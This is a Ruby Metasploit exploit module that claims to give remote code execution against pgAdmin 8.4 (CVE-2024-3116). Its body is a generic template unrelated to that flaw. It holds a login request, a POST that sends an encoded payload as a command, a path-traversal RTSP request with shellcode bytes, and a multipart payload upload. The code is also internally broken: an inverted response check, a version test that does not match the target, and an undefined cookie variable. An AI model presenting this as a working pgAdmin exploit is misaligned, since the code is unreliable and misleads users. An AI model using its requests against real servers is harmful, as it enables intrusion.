##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking 

  #
  # This exploit affects a webapp, so we need to import HTTP Client
  # to easily interact with it.
  #
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

 

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pgAdmin Binary Path API RCE',
        'Description' => %q{
          pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) 
          vulnerability through the validate binary path API. This vulnerability 
          allows attackers to execute arbitrary code on the server hosting PGAdmin, 
          posing a severe risk to the database management system's integrity and the security of the underlying data. 

          Tested on pgAdmin 8.4 on Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'M.Selim Karahan', # metasploit module
          'Ayoub Mokhtar' # vulnerability discovery and write up
        ],
        'References' => [
          [ 'CVE', '2024-3116'],
          [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],
          [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']
        ],
        'Platform' => ['windows'],
        'Arch' => ARCH_X64,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2024-03-28',
        'DefaultTarget' => 0,
        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'Reliability' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ],
          'SideEffects' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
      ]
    )
  end

  #
  # The sample exploit checks the index page to verify the version number is exploitable
  # we use a regex for the version number
  #
  def check
    # only catch the response if we're going to use it, in this case we do for the version
    # detection.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    )
    # gracefully handle if res comes back as nil, since we're not guaranteed a response
    # also handle if we get an unexpected HTTP response code
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200

    # here we're looking through html for the version string, similar to:
    # Version 1.2
    %r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body

    if version && Rex::Version.new(version) <= Rex::Version.new('1.3')
      CheckCode::Appears("Version Detected: #{version}")
    end

    CheckCode::Safe
  end

  #
  # The exploit method attempts a login, then attempts to throw a command execution
  # at a web page through a POST variable
  #
  def exploit
    # attempt a login. In this case we show basic auth, and a POST to a fake username/password
    # simply to show how both are done
    vprint_status('Attempting login')
    # since we will check res to see if auth was a success, make sure to capture the return
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.php'),
      'method' => 'POST',
      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      # automatically handle cookies with keep_cookies.  Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
      'keep_cookies' => true,
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
      'vars_get' => {
        'example' => 'example'
      }
    )

    # a valid login will give us a 301 redirect to /home.html so check that.
    # ALWAYS assume res could be nil and check it first!!!!!
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301

    # we don't care what the response is, so don't bother saving it from send_request_cgi
    # datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
    vprint_status('Attempting exploit')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'command.html'),
      'method' => 'POST',
      'vars_post' =>
      {
        'cmd_str' => payload.encoded
      }
    }, datastore['HttpClientTimeout'])

    # send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
    send_request_raw({
      'method' => 'DESCRIBE',
      'proto' => 'RTSP',
      'version' => '1.0',
      'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi'
    }, datastore['HttpClientTimeout'])

    # example of sending a MIME message
    data = Rex::MIME::Message.new
    # https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
    file_contents = payload.encoded
    data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
    data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")

    post_data = data.to_s

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'async-upload.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => post_data,
      'cookie'  => cookie
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end